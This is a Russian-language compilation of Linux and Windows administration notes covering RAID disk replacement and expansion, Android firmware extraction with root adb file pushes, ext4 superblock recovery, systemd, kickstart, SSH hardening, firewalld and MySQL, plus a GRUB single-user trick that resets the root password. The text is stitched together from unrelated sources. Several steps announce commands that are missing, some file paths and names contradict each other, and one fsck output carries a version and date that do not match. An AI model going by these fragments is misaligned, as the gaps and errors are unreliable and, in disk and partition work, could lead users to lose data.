Затем запишем изменения кнопкой Write. На оставшемся месте создадим расширенный раздел (extended) и внутри его еще один раздел Linux raid autodetect (fd). В итоге у вас должна получиться разметка аналогичная по структуре sda, но с новыми размерами разделов.
После чего убедимся, что начался процесс ресинхронизации:
cat /proc/mdstat
И обязательно дождемся ее окончания. Система в это время будет доступной, но может испытывать проблемы с производительностью из-за повышенной нагрузки на дисковую подсистему, поэтому желательно запланировать данный процесс на нерабочее время. После успешной ресинхронизации вывод команды будет выглядеть следующим образом:
Вроде бы все хорошо, но не забываем про загрузчик, на новом диске его нет. Поэтому выполним:
dpkg-reconfigure grub-pc
Принимаем значения по умолчанию пока не появится окно с выбором дисков, указываем установку загрузчика на все физические диски, выбирать RAID-массив не надо.
Перезагружаем систему, выбрав в BIOS в качестве загрузочного устройства новый жесткий диск. Если все было сделано правильно, то вы загрузитесь уже с нового жесткого диска. Теперь нужно пометить sda как сбойный и исключить его из массива:
Выключаем сервер, физически заменяем диск на новый, загружаемся. Проверяем дисковую конфигурацию:
Как видим, теперь у нас в системе появился новый неразмеченный диск sda, но так как нам уже не нужно создавать разделы с отличным от sdb размером, то просто скопируем разметку с одного диска на второй, для этого используем еще одну утилиту sfdisk:
sfdisk -d /dev/sdb | sfdisk /dev/sda
При выполнении данной операции важно не перепутать диски местами, иначе вы скопируете разметку с пустого диска на диск с данными, что приведет к их утере. Первым следует указать диск источник, вторым - целевой диск. Плюс данной операции - вместе с разметкой скопируется также загрузчик.
Перезагрузимся несколько раз и убедимся, что загрузка возможна с обоих физических дисков. Теперь снова выполним команду:
lsblk
и внимательно изучим вывод:
Несмотря на то, что мы увеличили размер sda1/sdb1 и sda5/sdb5 размеры массивов md0 и md1 остались неизменными. Но если мы вспомним, что программный RAID в Linux строится поверх разделов, то все станет на свои места. Это аналогично тому, что если бы мы заменили жесткий диск в системе на более емкий, но перенесли раздел без изменения размера.
Что делать? Расширить объем массива, для этого выполните команды:
Вроде бы все хорошо. Но если для раздела подкачки этого достаточно, то с разделами, содержащими файловую систему не все так просто. В этом можно убедиться, выполнив:
df -h
Из ее вывода видно, что размер файловой системы не изменился и нам по-прежнему доступно около 17 ГБ. Но здесь нет никакой ошибки, если мы вспомним, что программный RAID является для системы аналогом диска, который содержит раздел с файловой системы, то поймем, что несмотря на то, что мы увеличили размер диска, нам следует также увеличить размер раздела с данными. Для этого выполним:
resize2fs /dev/md0
Вот теперь можно считать процесс расширения массива законченным, мы расширили все необходимые разделы и теперь можем использовать все доступное пространство новых дисков. Сам процесс может показаться несколько сложным, но если представить всю эту систему как матрешку, когда одни разделы вкладываются в другие - то все станет на свои места и система вновь станет стройной и логичной.
А в заключение не будет лишним напомнить, что все проведенные нами операции несут потенциальный риск полной потери данных, поэтому перед тем, как выполнять указанные в статье действия создайте полную резервную копию вашей системы.
Рассказываю, как я достал нужные файлы из прошивки и записал их в планшет. Авось кому пригодится, там есть несколько не вполне прямолинейных моментов. 1) Распаковываю файл прошивки T285XXU0APE1_T285OXE0APC1_T285XXU0APF1_HOME.tar.md5 . Естественно, tar-ом
tar xvf T285XXU0APE1_T285OXE0APC1_T285XXU0APF1_HOME.tar.md5
2) получается куча файлов, в частности нужный мне system.img . Этот system.img не является еще образом диска, он пожат некоей технологией под названием sparse image file. Его нужно распаковать командой
simg2img system.img system.raw
программа simg2img в моем дистрибутиве (debian testing) находится в пакете android-sdk-libsparse-util
3) полученный образ system.raw все еще нельзя смонтировать, потому что что у него обрезан конец - незначащие последние блоки данных. Нужно добить файл пустыми блоками до двух гигабайт. Возможно, для этого существует более элегантное решение, но я поступил в лоб, использовав dd
Необходимые числа можно посмотреть в dumpe2fs и/или в ругани dmesg при попытке подмонтировать system.raw
4) теперь можно смонтировать образ диска куда-нибудь в файловую систему, бо это обычный ext4
sudo mount -o loop sys.raw /mnt/01/
5) для перемещения файлов на их место в планшете надо использовать adb. Для того пользоваться adb нужно разрешить его в настройках планшета. Я не буду это описывать, поскольку все разрешения у меня стоят уже очень давно и подробностей я уже не помню. Документации на эту тему вагон.
6) По какой-то причине файлы нельзя записать прямо на их место в /system/priv-app/. Нужно сначала записать их в пользовательское пространство, чтобы затем шеллом под adb переместить их на место. Нет, и после перемонтирования /system тоже нельзя.
adb push /mnt/01/priv-app/VpnDialogs/ /sdcard
7) теперь запускаем шелл и перемонтируем /system для записи adb shell >su >mount -oremount,rw /system
8) Теперь можно копировать. Из под той же сессии adb shell cp -r /sdcard/VpnDialogs /system/priv-app/
9) После копирования пермишены по какой-то трансцедентной причине портятся. Поэтому нужно файл за файлом их восстановить. >chmod 755 /system/priv-app/Vpn/Dialogs/ >chmod 755 /system/priv-app/Vpn/Dialogs/arm/ >chmod 744 /system/priv-app/Vpn/Dialogs/*.apk >chmod 744 /system/priv-app/Vpn/Dialogs/arm/*.odex
10) перемонтировать /system обратно в ro мне было лень, тем более что он все равно туда сбросится при перезагрузке.
11) Обратите внимание, что приложение должно быть извлечено из того же самого образа, который был прошит. Приложения в /priv-app вроде как подписаны, и приложение из другой сборки может не заработать.
глянуть http://www.outsidethebox.ms/12922/#ua переменная %ua%, соответствует моей рабочей папке. В командной строке :: Задайте путь к рабочей папке (избегайте кириллицы и пробелов в пути) set ua=C:\unattend :: Создайте папку md %ua%
В PowerShell # Задайте путь к рабочей папке (избегайте кириллицы и пробелов в пути) $env:ua = "C:\unattend" # Создайте папку md $env:ua
Get-WindowsOptionalFeature -Online | ft >$env:userprofile\desktop\features.txt
Get-WindowsOptionalFeature -Online -FeatureName NetFX3
Отключение и удаление компонентов в образе Скопируйте на локальный диск файл install.wim из папки sources установочного диска и последовательно выполняйте перечисленные ниже команды.
Подключите образ с удаленным компонентом Hyper-V: Mount-WindowsImage -ImagePath $env:ua\wim\install.wim -index 1 -Path C:\mount
Посмотрите список всех удаленных компонентов. В PowerShell это делается элементарно: Get-WindowsOptionalFeature -Path $env:ua\mount | where state -like *removed
Восстановите компонент Hyper-V, указывая путь к чистому WIM-образу в качестве источника файлов: Enable-WindowsOptionalFeature -Path $env:ua\mount -FeatureName Microsoft-Hyper-V-All -Source $env:ua\wim\install-clean.wim:1
Убедитесь в том, что компонент включен: Get-WindowsOptionalFeature -Path $env:ua\mount -FeatureName Microsoft-Hyper-V-All
Недавно при включении компьютера, Ubuntu меня "порадовала" тем, что решила не загружаться и "свалилась" в busybox в момент инициализации пользовательского пространства (userspace) оно же initramfs. Немного ошарашенный начал разбираться. Оказалось, что мой старенький жёсткий диск дал небольшой сбой, и подпортил суперблок файловой системы. Впрочем, оказалось что это не смертельно, и проблема эта, довольно просто и быстро решается.
Суперблок - это часть на диске, отведенная под служебную информацию файловой системы. В нем хранится информация о разделе: тип файловой системы, размер, статус и информацию о других структурах метаданных. В случае потери информации с суперблока, велик риск потерять всю информацию с раздела. Поэтому Linux хранит несколько копий этой информации - т.е. несколько суперблоков.
Перед тем, как продолжить, я должен предупредить, что не обязательна причина в суперблоке. Такая проблема может возникать и по другим причинам, установить которые можно только имея определенный опыт, либо опытным путем. В любом случае, вся суть проводимых ниже действия, лишь в проверке диска на ошибки, поэтому как минимум ничем не повредит.
Для восстановления нам понадобится загрузочный диск или флэшка с Linux. Загружаемся, и запускаем терминал. В терминале пишем:
sudo fdisk -l|grep Linux|grep -Ev 'swap'
В результате выполнения команды, будет выведен список всех разделов:
/dev/sda2 371306496 976771071 605464576 288.7G 83 Linux
В моем случае это был один раздел. В этом списке нужно найти нужный раздел, и запомнить его. Он понадобится нам дальше. Далее посмотрим список доступных запасных суперблоков:
sudo dumpe2fs /dev/sda2 | grep superblock
В команде выше, /dev/sda2 необходимо заменить на полученный ранее, нужный раздел. В результате выполнения команды, будет выведен список всех суперблоков:
Primary superblock at 0, Group descriptors at 1-19
Backup superblock at 32768, Group descriptors at 32769-32787
Backup superblock at 98304, Group descriptors at 98305-98323
Backup superblock at 163840, Group descriptors at 163841-163859
Backup superblock at 229376, Group descriptors at 229377-229395
Backup superblock at 294912, Group descriptors at 294913-294931
Backup superblock at 819200, Group descriptors at 819201-819219
Backup superblock at 884736, Group descriptors at 884737-884755
Backup superblock at 1605632, Group descriptors at 1605633-1605651
Backup superblock at 2654208, Group descriptors at 2654209-2654227
Backup superblock at 4096000, Group descriptors at 4096001-4096019
Backup superblock at 7962624, Group descriptors at 7962625-7962643
Backup superblock at 11239424, Group descriptors at 11239425-11239443
Backup superblock at 20480000, Group descriptors at 20480001-20480019
Backup superblock at 23887872, Group descriptors at 23887873-23887891
Backup superblock at 71663616, Group descriptors at 71663617-71663635
Из списка запасных суперблоков, выбираем любой кроме Primary и запускаем проверку диска с указанием запасного суперблока:
sudo fsck -b 32768 /dev/sda2 -y
Параметр -y необходим для того, чтобы fsck не спрашивал что делать с каждой найденной ошибкой, а вместо этого ее автоматически исправлял если это возможно. После того, как fsck закончит, результат выполнения будет примерно таким:
fsck 1.40.2 (23-March-2016)
e2fsck 1.40.2 (23-March-2016)
/dev/sda2 was not cleanly unmounted, check forced.
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
Free blocks count wrong for group #241 (32254, counted=32253).
Fix? yes
Free blocks count wrong for group #362 (32254, counted=32248).
Fix? yes
Free blocks count wrong for group #368 (32254, counted=27774).
Fix? yes
..........
/dev/sda2: ***** FILE SYSTEM WAS MODIFIED *****
/dev/sda2: 59586/605464576 files (0.6% non-contiguous), 3604682/605464576 blocks
После этого перезагружаемся, отключаем флэшку/вынимаем диск из привода, и всё должно работать. :)
Systemd – менеджер системы и сервисов в операционной системе Linux. При разработке eго стремились спроектировать обратно совместимым со скриптами инициализации SysV init и предоставить полезные функции, такие, как параллельный запуск системных сервисов во время загрузки, активацию демонов по требованию, поддержку снепшотов состояния системы и логику управления сервисами, основанную на зависимостях. В CentOS 7 systemd заменяет Upstart как систему инициализации по умолчанию.
В этой статье мы рассмотрим процесс управления сервисами в systemd для пользователя CentOS 7. Эти знания будут полезны и в других дистрибутивах, ведь systemd уже давно используется в Fedora и планируется в Ubuntu 14.10 и Debian 8. Хорошо это или нет — оставим за кадром.
В процессе чтения статьи вы можете попробовать systemd на классических VPS и облачных VPS от Infobox. Мы стремимся своевременно добавлять поддержку современных ОС, чтобы вы могли использовать последние технологии для более эффективной работы. Сама идея написания статьи родилась после очередного вопроса пользователей об использовании сервисов в CentOS 7. Типичный вопрос: «Как добавить мой сервис в автозагрузку CentOS 7?». На этот и другие вопросы постараемся дать ответ в этой статье.
Введение
Systemd приносит концепцию юнитов systemd. Юниты представлены конфигурационными файлами, размещенными в одной из директорий:
/usr/lib/systemd/system/ – юниты из установленных пакетов RPM.
/run/systemd/system/ — юниты, созданные в рантайме. Этот каталог приоритетнее каталога с установленными юнитами из пакетов.
/etc/systemd/system/ — юниты, созданные и управляемые системным администратором. Этот каталог приоритетнее каталога юнитов, созданных в рантайме.
Юниты содержат информацию о системных сервисах, прослушиваемых сокетах, сохраненных снапшотах состояний системы и других обьектах, относящихся к системе инициализации.
Типы юнитов systemd:
.service – системный сервис
.target — группа юнитов systemd
.automount – точка автомонтирования файловой системы
.device – файл устройства, распознанного ядром
.mount – точка монтирования файловой системы
.path – файл или директория в файловой системе
.scope – процесс, созданный извне
.slice – группа иерархически организованных юнитов, управляющая системными процессами
.snapshot – сохраненное состояние менеджера systemd
.socket – сокет межпроцессного взаимодействия
.swap – Свап-устройство или свап-файл (файл подкачки)
.timer – таймер systemd
Основные функции systemd в CentOS 7
Активация, основанная на сокетах. Во время загрузки systemd прослушивает сокеты для всех системных сервисов, поддерживает этот тип активации и передает сокеты этим сервисам сразу после старта сервисов. Это позволяет systemd не только запускать сервисы параллельно, но также дает возможность перезапускать сервисы без потери любых отправленных им сообщений, пока сервисы были недоступны. Соответствующий сокет остается доступным и все сообщения выстраиваются в очередь.
Активация, основанная на D-Bus. Системные сервисы, использующие D–Bus для межпроцессного взаимодействия, могут быть запущены по требованию, когда клиентское приложение пытается связаться с ними.
Активация, основанная на девайсах. Системные сервисы, поддерживающие активацию, основанную на девайсах, могут быть запущены, когда определенный тип оборудования подключается или становится доступным.
Активация, основанная на путях. Системные сервисы могут поддерживать этот вид активации, если изменяется состояние папки или директории.
Снепшоты системных состояний. Система может сохранять состояние всех юнитов и восстанавливать предыдущее состояние системы.
Управление точками монтирования и автомонтирования. Systemd отслеживает и управляет точками монтирования и автомонтирования.
Агрессивная параллелизация Systemd запускает системные сервисы параллельно из-за использования активации, основанной на сокетах. В комбинации с сервисами, поддерживающими активацию по требованию, параллельная активация значительно уменьшает время загрузки системы.
Транзакционная логика активации юнитов. До активации и деактивации юнитов systemd вычисляет их зависимости, создает временную транзакцию и проверяет целостность этой транзакции. Если транзакция нецелостная, systemd автоматически пытается исправить ее и удалить не требующиеся задания из нее до формирования сообщения об ошибке.
Обратная совместимость с инициализацией SysV. SystemD полностью поддерживает скрипты инициализации SysV, как описано в спецификации Linux Standard Base (LSB), что упрощает переход на systemd.
Управление сервисами
В предыдущих версиях CentOS использовалась SysV или Upstart. Скрипты инициализации располагались в директории /etc/rc.d/init.d/. Такие скрипты обычно писались на Bash и позволяли администратору управлять состоянием сервисов и демонов. В CentOS 7 скрипты инициализации были заменены сервисными юнитами.
По способу использования сервисные юниты .service напоминают скрипты инициализации. Для просмотра, старта, остановки, перезагрузки, включения или выключения системных сервисов используется команда systemctl. Команды service и chkconfig по-прежнему включены в систему, но только по соображениям совместимости.
При использовании systemctl указывать расширение файла не обязательно.
Предыдущие версии CentOS с SysV init или Upstart включали предопределенный набор уровней запуска (runlevels), которые представляли специфичные режимы для операций, пронумерованные от 0 до 6. В CentOS 7 концепция уровней запуска была заменена целями systemd.
Файлы целей systemd .target предназначены для группировки вместе других юнитов systemd через цепочку зависимостей. Например юнит graphical.target, использующийся для старта графической сессии, запускает системные сервисы GNOME Display Manager (gdm.service) и Accounts Service (accounts–daemon.service) и активирует multi–user.target. В свою очередь multi–user.target запускает другие системные сервисы, такие как Network Manager (NetworkManager.service) или D-Bus (dbus.service) и активирует другие целевые юниты basic.target.
В CentOS 7 присутствуют предопределенные цели, похожие на стандартный набор уровней запуска. По соображениям совместимости они также имеют алиасы на эти цели, которые напрямую отображаются в уровнях запуска SysV.
poweroff.target (runlevel0.target) – завершение работы и отключение системы
rescue.target (runlevel1.target) – настройка оболочки восстановления
multi–user.target (runlevel2.target, runlevel3.target, runlevel4.target) – настройка неграфической многопользовательской системы
graphical.target (runlevel5.target) – настройка графической многопользовательской системы
reboot.target (runlevel6.target) – выключение и перезагрузка системы
Команды runlevel и telinit по-прежнему доступны, но оставлены в системе по соображениям совместимости. Рекомендуется использовать systemctl для изменения или настройки системных целей.
Для определения, какой целевой юнит используется по умолчанию, полезна следующая команда: systemctl get–default.
Для просмотра всех загруженных целевых юнитов воспользуйтесь командой systemctl list-units --type target, а для просмотра вообще всех целевых юнитов командой: systemctl list-units --type target --all.
Для изменения цели по умолчанию поможет команда systemctl set-default name.target.
Для изменения текущей цели: systemctl isolate name.target. Команда запустит целевой юнит и все его зависимости и немедленно остановит все остальные.
Выключение и перезагрузка системы
В CentOS 7 systemctl заменяет значительное количество команд управления питанием. Прежние команды сохранены для совместимости, но рекомандуется использовать systemctl:
systemctl halt – останавливает систему
systemctl poweroff – выключает систему
systemctl reboot – перезагружает систему
Управление systemd на удаленной машине
Systemd позволяет управлять удаленной машиной по SSH. Для управления используйте команду:
systemctl --host user_name@host_name command, где user_name – имя пользователя, host_name – имя хоста, которым осуществляется удаленное управление, а command – выполняемая команда systemd.
Типичный systemd .service
Этот раздел поможет вам, если вам необходимо быстро сделать поддержку управления сервисом из systemd. Подробная информация о всех параметрах файла .service есть в соответствующем разделе документации по systemd.
[Unit] Description=Daemon to detect crashing apps After=syslog.target
[Service] ExecStart=/usr/sbin/abrtd Type=forking
[Install] WantedBy=multi-user.target
Давайте посмотрим на секцию [Unit]. Она содержит общую информацию о сервисе. Такая секция есть не только в сервис-юнитах, но и в других юнитах (например при управлении устройствами, точками монтирования и т.д.). В нашем примере мы даем описание сервиса и указываем на то, что демон должен быть запущен после Syslog.
В следующей секции [Service] непосредственно содержится информация о нашем сервисе. Используемый параметр ExecStart указывает на исполняемый файл нашего сервиса. В Type мы указываем, как сервис уведомляет systemd об окончании запуска.
Финальная секция [Install] содержит информацию о цели, в которой сервис должен стартовать. В данном случае мы говорим, что сервис должен быть запущен, когда будет активирована цель multi–user.target.
Это минимальный работающий файл сервиса systemd. Написав свой, для тестирования скопируйте его в /etc/systemd/system/имя_сервиса.service. Выполните команды systemctl daemon-reload. Systemd узнает о сервисе и вы сможете его запустить.
Установка в текстовом режиме Когда увидите пункт install centos меню, нажать клавишу табуляции, добавить text в конец всех существующих параметров командной строки установщика, а затем нажать клавишу enter.
Установщик CentOS автоматически создает файл /root/anaconda-ks.cfg, который содержит абсолютно всю информацию о выбранных пакетах и настройках установки текущей ОС. Это позволяет производить автоматическую установку системы https://nixadmin.ru/centos_pxe_kickstart /usr/sbin/system-config-kickstart
пример конфига
если интернет по DHCP, то network --bootproto=dhcp --device=eth0 --noipv6 --activate network --hostname=centos-test
если шина диска hda, sata, scsi, то clearpart --all --initlabel --drives=sda
установка с kickstart Указать файл можно вручную, на этапе отображения загрузочного меню установочного диска, нажать Esc в терминале ввести: linux inst.ks=<путь к файлу kickstart> Например: linux inst.ks=cdrom:/dev/cdrom:/ks.cfg
Распаковка ISO образа mount /home/User/Downloads/iso/CentOS-7-x86_64-Minimal-1611.iso /mnt/iso/ mkdir /tmp/centos_custom/ cp -rp /mnt/iso/* /tmp/centos_custom/
Добавление kickstart файла в образ копируем наш kickstart файл в корень папки centos_custom, указываем ему название ks.cfg, после добавляем пункт загрузочного меню изменив файл isolinux/isolinux.cfg, добавив в него следующие строки:
label auto
menu label ^Auto install CentOS Linux 7
kernel vmlinuz
append initrd=initrd.img inst.ks=cdrom:/dev/cdrom:/ks.cfg
Строки необходимо вставить в секцию, где расположены label по умолчанию, например сразу перед строками раздела:
label linux
menu label ^Install CentOS 7
kernel vmlinuz
append initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64 quiet
Можно также добавить текстовую загрузку:
label text
menu label ^Text install CentOS 7
kernel vmlinuz
append initrd=initrd.img inst.stage2=hd:LABEL=CentOS\x207\x20x86_64 quiet text
Создание ISO из папки образа cd /tmp/centos_custom
Kickstart можно использовать с обыкновенной флешкой. Для этого нужно скопировать anaconda-ks.cfg с уже установленной системы, предварительно смонтировав флешку,
root@server01 [~]# mount /dev/sdc1 /media root@server01 [~]# cp /root/anaconda-ks.cfg /media/ks.cfg и запустить установку CentOS с такими опциями :
linux ks=hd:sdc1:/ks.cfg
Ошибки при установке "/sbin/dmsquash-live-root: line 273: write error: No space left on device" У установок Kickstart RHEL 7 и выше требуется не менее 2 ГБ памяти, назначенных машине.
создание пользователей adduser username passwd username gpasswd -a username wheel # добавить в группу gpasswd -d username wheel # удалить из группы userdel username userdel -r username # удалит пользователя с каталогом sudo lid -g wheel
По-умолчанию в Centos 7 minimal синхронизация времени не настроена yum install chrony
Для изменения серверов синхронизации времени надо отредактировать файл nano /etc/chrony.conf
server 0.centos.pool.ntp.org iburst server 1.centos.pool.ntp.org iburst server 2.centos.pool.ntp.org iburst server 3.centos.pool.ntp.org iburst
Запускаем сервис и добавляем его в автозагрузку systemctl start chronyd systemctl enable chronyd
Смотрим статус chronyc sources
Проверяем, активировалась ли синхронизация timedatectl
ручная настройка date +%T -s "17:34:55"
комбинация клавиш, которая позволяет обратиться напрямую в ядро, минуя всяческие программы и оболочки
Alt + SysRq + B. Равнозначно нажатию кнопки Reset. Нежелательно, ибо высока вероятность потерять несохранённые данные. Alt + SysRq + O. Выключает систему корректным образом. Alt + SysRq + S. Синхронизует систему. Если выполнить перед первой командой, то можно не бояться за данные. Alt + SysRq + K. Перезагружвет графическую оболочку. Выполнять, если всё зависло и не отвечает. Alt + SysRq + R. Если не хочешь перезагружать иксы, отвиснет твою мышку и клавиатуру. Alt + SysRq + H. Выводит вышеуказанные и все прочие доступные команды.
файлы находящиеся в папке /usr/share/i18n/ принадлежат glibc-common-2.x.x и если вы их не наблюдаете там, то необходимо разбираться с самим glibc-common
запись в /etc/environment перебивает этот файл, т.е. если там есть LANG="en_US.UTF-8" то в /etc/sysconfig/i18n можно писать что угодно
если пустой /usr/share/i18n/locales/ и выдаёт ошибку haracter map file `UTF-8' not found: No such file or directory cannot read character map directory `/usr/share/i18n/charmaps': No such file or directory
chkconfig sshd on chkconfig --level 2345 sshd on sudo systemctl reload sshd.service
systemctl restart sshd
Настройки SSH-сервера хранятся в файле /etc/ssh/sshd_config
далееНаиболее важные опции с точки зрения безопасности:
Port 22 – Порт по умолчанию. Protocol 2,1 – Какая реализация протокола SSH будет использоваться. Рекомендую оставить только 2. ListenAddress – По умолчанию SSH сервер прослушивает все доступные интерфейсы, что абсолютно не нужно в большинстве ситуаций. Необходимо прописать сетевой интерфейс, с которого будет осуществляться управление сервером. PermitRootLogin yes – По умолчанию разрешает входить по SSH суперпользователю root. Необходимо указать no. AllowUsers adminsys – Данный параметр разрешает входить по SSH только перечисленным пользователям. AllowGroups wheel – Группа пользователей которой можно входить по SSH, опцию можно не использовать если указана опция AllowUsers. DenyUsers baduser – Данная опция запрещает вход по SSH перечисленным пользователям. DenyGroups badgroup – Данная опция запрещает вход по SSH перечисленным группам пользователей. MaxAuthTries 3 – Сколько раз переспрашивать пароль при неверном вводе. В данном случае SSH-сервер после 3 неверных попыток разорвет соединение с клиентом. LoginGraceTime 60 – Через сколько секунд разрывать соединение при отсутствии аутентификации со стороны клиента. PermitEmptyPasswords no – Разрешать использовать пустые пароли. По вполне понятным причинам значение этого параметра no. PrintLastLog yes – при входе пользователя в систему по SSH ему будет показано когда и откуда последний раз был произведен вход под данным пользователем. LogLevel INFO – В качестве параметра этой опции необходимо указать уровень журналирования. Возможные значения QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG1, DEBUG2, DEBUG3. Чем выше уровень журналирования, тем больше информации появится в файле регистрации событий. SyslogFacility AUTHPRIV – Куда будут попадать логи. Возможные значения: DAEMON, USER, AUTH, LOCAL0, LOCAL1, LOCAL2, LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. Посмотреть в каком файле окажется логируемая информация можно посмотрев опции syslogd в файле /etc/syslog.conf.
узнаём интерфейс ip a nano /etc/sysconfig/network-scripts/ifcfg-интерфейс
ip neig flush all # очистить кэш arp systemd-resolve --flush-caches # очистить кэш dns имён systemctl restart systemd-resolved # обновить dns sudo /etc/init.d/dns-clean start # очистить кэш dns имён для старых os
ip ro yum install net-tools # нужен для роутинга route add default gw 192.168.1.1 # добавить шлюз по умолчанию route del default gw 192.168.1.1 # удалить шлюз по умолчанию route add -net 192.168.2.0/24 gw 192.168.1.2 # дополнительный роутинг route delete -net 192.168.1.0 # удалить маршрут
лучше обойтись без net-tools, поскольку он устарел ip route add default via 192.168.1.1 ip route add default via 192.168.1.1
SAMBA Статический ip и gateway задается следующей командой, где «ens192» это имя сетевого адаптера nmcli connection modify "ens192" ipv4.addresses "192.168.1.100/24 192.168.1.1"
2) установка MySQL (MariaDB) yum install mariadb-server mariadb -y systemctl start mariadb systemctl enable mariadb mysql_secure_installation MariaDB запросит пароль root, так как это первоначальная установка, и у вас его нет, поэтому просто нажмите enter. Следующее приглашение спросит, хотите ли вы установить пароль root, введите Y и следуйте инструкциям
ошибки при установке и настройке dokuwiki вся ценная информация находится в папке dokuwiki/data/pages бекапировать нужно её
за авторизацию отвечают /dokuwiki/conf/ acl.auth.php local.php users.auth.php
если при доменной аудентификации пишет No ACL setup yet! Denying access to everyone. то в файле local.php добавить вывод ошибок $conf['plugin']['authad']['debug'] = 1;
скорее всего не установлен php-ldap yum install php-ldap systemctl restart php-fpm nginx
сброс авторизации можно сделать при помощи файла install.php
База данных, которая выбрана в команде теперь будет экспортированы.
Импорт БД Чтобы импортировать базу данных, необходимо сначала создать новую пустую базу данных в оболочке MySQL, чтобы служить в качестве места для ваших данных.
CREATE DATABASE newdatabase;
Затем выйдите из оболочки MySQL и введите следующую команду в командной строке: mysql -u [username] -p newdatabase < [database name].sql
При этом выбранная база данных будет импортирована в целевую базу данных в MySQL.
все страницы по умолчанию сохраняются в папке /var/www/html/dokuwiki/data/pages/ при обновлении или восстановлении, после установки нужно заменить эту папку, а также файлы аудентификации, находящиеся тут: /var/www/html/dokuwiki/conf/ acl.auth.php local.php и users.auth.php а потом заново установить плагины
1) При загрузке останавливаем загрузчик на GRUB нажатием любой кнопки. 2) Выбираем нужную строчку и нажимаем e. 3) Выбираем строчку с kernel (kernel /vmlinuz /…версия ядра…/ root=LABEL=/) 4) Дописываем в конец строки single и нажимаем Enter 5) Нажимаем b для загрузки системы 6) После загрузки меняем пароль (passwd) Данная методика работает почти на всех ОС линукс.
Drupal https://help.ubuntu.ru/wiki/drupal Перед началом использования создайте для Drupal базу данных с помощью клиента mysql: mysql -u root -p -e "CREATE DATABASE databasename CHARACTER SET utf8 COLLATE utf8_general_ci;" Также желательно завести отдельного пользователя MySQL, который будет иметь доступ только к созданной базе: mysql -u root -p вводим там запросы:
MySQL: Полный список часто используемых и полезных команд посмотреть всех пользователей SELECT User, Host FROM mysql.user; SELECT User, Host, Password, password_expired FROM mysql.user; увидеть разрешения для пользователя SHOW GRANTS FOR 'test'@'localhost' отзыв всех разрешений REVOKE ALL PRIVILEGES, GRANT OPTION FROM 'test'@'localhost' удалить пользователя test drop user 'test'@'localhost' SHOW DATABASES; удалить базу DROP DATABASE имя_базы_даных;
«Could not load MODX config file» /setup/index.php
открыть Google Play firewall-cmd --zone=public --add-port=5228/tcp --permanent firewall-cmd --zone=external --add-port=5228/tcp --permanent
firewall-cmd --reload systemctl restart firewalld
iptables -S
углубиться в firewall-cmd http://notes-unix.blogspot.com/2015/06/firewalld.html Использование firewall-cmd: ... получение списка всех поддерживаемых зон: # firewall-cmd --get-zones ... получение активных зон # firewall-cmd --get-active-zones ... задание зоны по умолчанию # firewall-cmd --set-default-zone= ... добавление интерфейса в зону # firewall-cmd [--zone=] --add-interface= ... удаление интерфейса из зоны # firewall-cmd [--zone=] --remove-interface= ... сделать запрос, относится ли интерфейс к зоне # firewall-cmd [--zone=] --query-interface= ... включение "режима паники", блокирующего весь сетевой трафик # firewall-cmd --enable-panic ... Отключение "режима паники" # firewall-cmd --disable-panic
Включение службы/маскарадинга/блока на постоянно:
Эти опции доступны только после перезагрузки или перезапуска. Для того чтобы иметь опции, изменяемые в среде выполнения, и постоянные опции, необходимо обеспечить оба варианта. Опция --permanent должна быть первой для всех постоянных вызовов ... Пример: включение службы http в зоне public на постоянно # firewall-cmd --permanent --zone=public --add-service=http ... Пример: Включение порта 443/TCP для https в пределах зоны home на постоянно: # firewall-cmd --permanent --zone=home --add-port=443/tcp
Включение/Отключение службы в пределах зоны: ... получение списка всех поддерживаемых служб # firewall-cmd --get-services ... включение службы в пределах зоны # firewall-cmd [--zone=] --add-service= ... отключение службы для зоны # firewall-cmd [--zone=] --remove-service= ... сделать запрос, включена ли служба в пределах зоны # firewall-cmd [--zone=] --query-service= ... включение службы в пределах зоны на постоянно # firewall-cmd --permanent [--zone=] --add-service= Включение/Отключения маскарадинга: ... включение маскарадинга в пределах зоны # firewall-cmd [--zone=] --add-masquerade ... отключение маскарадинга для зоны # firewall-cmd [--zone=] --remove-masquerade Включение/Отключения блока ICMP: ... включение блока ICMP в пределах зоны: # firewall-cmd [--zone=] --add-icmp-block= ... отключение блока ICMP для зоны: # firewall-cmd [--zone=] --remove-icmp-block= Включение/Отключение перенаправления или переназначения портов: ... включение перенаправления или переназначения портов в пределах зоны # firewall-cmd [--zone=] --add-forward-port=port=[-]:proto= { :toport=[-] | :toaddr= | :toport=[-]:toaddr= } ... отключение перенаправления или переназначения портов для зоны # firewall-cmd [--zone=] --remove-forward-port=port=[-]:proto= { :toport=[-] | :toaddr= | :toport=[-]:toaddr= }
... Пример: Перенаправление ssh на узел 127.0.0.2 в пределах зоны home: # firewall-cmd --zone=home --add-forward-port=port=22:proto=tcp:toaddr=127.0.0.2 Запуск/Останов/Перезапуск службы firewalld: # systemctl stop/start/restart firewalld.service Если хотите использовать собственные правила статического брандмауэра совместно со службами iptables и ip6tables, установите iptables-services, отключите FirewallD, а также включите iptables и ip6tables: # yum install iptables-services # systemctl mask firewalld.service # systemctl enable iptables.service # systemctl enable ip6tables.service Для задействования своих правил статического межсетевого экрана используйте /etc/sysconfig/iptables и /etc/sysconfig/ip6tables.
сохранить: /usr/libexec/iptables/iptables.init save
Стандартные зоны FirewallD:
Drop - неизменяемая зона Все входящие сетевые пакеты сбрасываются, ответ на них недопустим. Возможны только исходящие сетевые соединения. Block - неизменяемая зона Все входящие сетевые соединения отклоняются с сообщениями icmp-host-prohibited (для IPv4) и icmp6-adm-prohibited (для IPv6). Возможны только инициированные в рамках данной системы сетевые соединения. Trusted - неизменяемая зона Разрешены все сетевые соединения. Public Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети считаются ненадёжными. Предназначено для использования в общественных местах. External Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети считаются ненадёжными. Предназначено для использования во "внешних" сетях с активированным режимом маскарадинга, особенно с применением роутеров. DMZ Разрешены лишь отдельные входящие соединения.Предназначено для компьютеров в личной "безоружной" зоне с ограниченным общественным доступом к внутренней сети. Work Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети, по большей части, считаются надёжными. Предназначено для использования в рабочем пространстве. Home Разрешены лишь отдельные входящие соединения. Остальные компьютеры сети, по большей части, считаются надёжными. Предназначено для использования в домашних сетях. Internal Предназначено для использования во "внутренних" сетях. 